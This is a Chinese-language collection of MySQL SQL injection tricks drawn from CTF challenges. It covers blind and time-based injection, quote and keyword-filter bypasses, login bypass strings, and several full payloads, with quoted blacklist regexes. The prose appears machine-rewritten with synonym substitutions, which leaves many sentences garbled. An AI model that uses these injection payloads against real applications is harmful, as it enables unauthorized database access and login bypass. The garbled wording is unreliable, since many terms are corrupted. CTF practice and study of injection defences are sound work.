近来花了一点光阴总结了各大平台中注入的trick,本身照样太菜了,多数都得看题解,就特此做了一个paper便利总结
正文符
以下是Mysql中可以或许用到的单行正文符:
# -- -
以下是Mysql中可以或许用到的多行正文符(mysql下必要闭合):
断定以后库能否有字段名
对付CTF中的题,某些可以或许间接断定有没有flag表1′ or(flag)比方:全表
用or试一下
这里说明一下为何or的成果为何不全,说白了也便是atoi函数的特征
or(列名)实在是遍历字段名中的每一个值而后拔取那些不为false的内容,由于在mysql中’ssdd’字符串默许即是0即是false以是不表现,而’4ddf’如许的字符串默许即是4,也便是true也就会前往了
limit下的字段数断定
家喻户晓where前提下的字段数可以或许用order by
断定,而limit后可以或许应用 1,into @,@
(@为字段数)断定字段数@为mysql暂时变量,
道理请看
http://www.w3school.com.cn/sql/sql_select_into.asp
or前提下的回显
曩昔总是对where id='1' or '1'='1'
和where id='0' or '1'='1'
的回显不停不是很懂得,以是本日搭建情况测试了一下,以下可见
以是预测在or前提下先后假如都为真则前往一切成果,不然只前往前提为真的一方的值
concat与concat_ws与group_concat
1.2 MySQL的concat函数在衔接字符串的时刻,只需此中一个是NULL,那末将前往NULLMySQL的concat函数在衔接字符串的时刻,只需此中一个是NULL,那末将前往NULL
mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec) | |
和concat分歧的是, concat_ws函数在履行的时刻,不会由于NULL值而前往NULL
mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec) | |
盲注下的前提语句和光阴函数
这是我头几天刷wechall碰着的题,比方一下注入语句
select * from test1 where id='$_GET[id]';
已知没有回显位,id=3和id=1前往成果分歧样而且过滤了’,空格,等等一堆关键词,不存在宽字节注入给个B徒弟当时的payload
if(substr(flag,1,1)in(0x41),3,0)
写个剧本爆破之可得flag而基于光阴的注入曩昔都是不停用的if(xxxxxx,1,sleep(2));最也发明了一个更好的函数BENCHMARK
IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)
BENCHMARK函数是指履行某函数的次数,次数多时可以或许到达与sleep函数雷同的后果
逻辑操纵符被过滤
先放一波like语法
http://www.runoob.com/mysql/mysql-like-clause.html
绕过\’被过滤
hex编码
SELECT password FROM Users WHERE username = 0x61646D696E
char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html实体字符编码
SELECT FROM Users WHERE username = 'admin'
%2527
这里重要是由于绕过magic_quotes_gpc过滤,由于%25解码为%,联合后面的27也便是%27也便是',以是胜利绕过过滤。 | |
宽字节就不说了gbk编码在单引号后面加一个%df便可
表名等关键字被过滤
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特别符 /!informationschema.tables/
别号 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
表单认证绕过
这里选两题一题是试验吧的web分类第一题
"SELECT username FROM users WHERE username='$username' AND password='$password'"
如许的间接username=admin'#
便可,或许username='='&password='='
如许就可以结构出
"SELECT username FROM users WHERE username=''='' AND password=''=''"
以是逻辑断定绕过第二题是iscc的简略注入,预测大抵后盾语句以下,PS:后盾暗码是md5处置过的
$results = SELECT password FROM users WHERE username='$username'if($results==$_GET[$password]){
这里可以或许结构username=0' union select md5(1)#&password=1
Mysql字符编码应用技能
传入的username=admin%c2,php的检测if ($username === ‘admin’)天然就可以够绕过的,在mysql中可以或许失常查出username=’admin’的成果,道理是Mysql在转换字符集的时刻,将不完备的字符给疏忽了。详细可参照P徒弟文章
https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
隐式范例转换
这里先上几个图,自行领会精力
这里为何咱们输出为何name=0会招致前往数据呢?实在这里跟php弱范例有殊途同归之妙,mysql在比拟一个整数和一个字符串也会强迫把字符串转化为整数停止比拟,并前往一个warning,以是这里
pupiladmin
都会被转换为0以是与0比拟相称,那末咱们进一步料想那一个非0开首的字符串强迫转化是什么呢
因而可知,与PHP同样,mysql也会把字符串强迫转化为开首的数字,若开首是字母则强迫转化为0,那咱们怎样应用这一黑邪术呢,家喻户晓,mysql同样平常都是字符型注入,很少稀有字型注入的,就像where username='input'
如许,咱们纯真的输出数字是会被转化成字符串的,就像如许
这时刻咱们就必要做一些操纵来结构注入点了,好比应用算术运算符
+,-,*,/,%
又或许位操纵符
&,|,^
上面咱们以+
为例停止演示
过滤了&,|,*,/,=等逻辑处置字符
可以或许用in,exists,position..in,>,<,!,<>,like等操纵符绕过这个链接有详细先容
http://www.runoob.com/mysql/mysql-like-clause.html这里举一个例子,好比要应用sql盲注的话然则过滤了substr,mid,asccii,ord等函数可以或许应用一下语句
admin' AND password LIKE "p%" --
一点实战例子
陕西省收集空间平安
过滤了
/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"
这里没有过滤^,以是可以或许绕过,payload
username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1
pwnhubcuit校赛
过滤了
/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%20')."|".urldecode('%a0')."/i
这里过滤了&,|,*,=等标记和substring,mid可以或许应用in,exists,>,<,<>,比拟运算符绕过,payload
'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'
webhacking,kr
过滤了
union|and|||&|=|urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldeco
这里这里if和substr都没被过滤,而且空格可以或许被%0a绕过,以是payload
%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,0)
末了总结一下注入题(手工注入。。)的同样平常思绪(大牛轻喷),对付同样平常注入首先要找到注入点,好比有许多参数的先肯定哪一个参数好注入,再测验考试有没有过滤或许过滤了那些字符,waf本身能否有问题招致间接可以或许大小写,双写,编码绕过的。固然同样平常ctf中的题注入假若有waf同样平常都是过滤不完全的,耐烦点就可以够找出payload,末了便是留意一下参数提交的方法,有时刻一些标题get方法过滤的很严厉然则post只是意味性的过滤一下,另有一些用$_REQUEST方法的留意除get和post还可以或许测验考试cookie注入。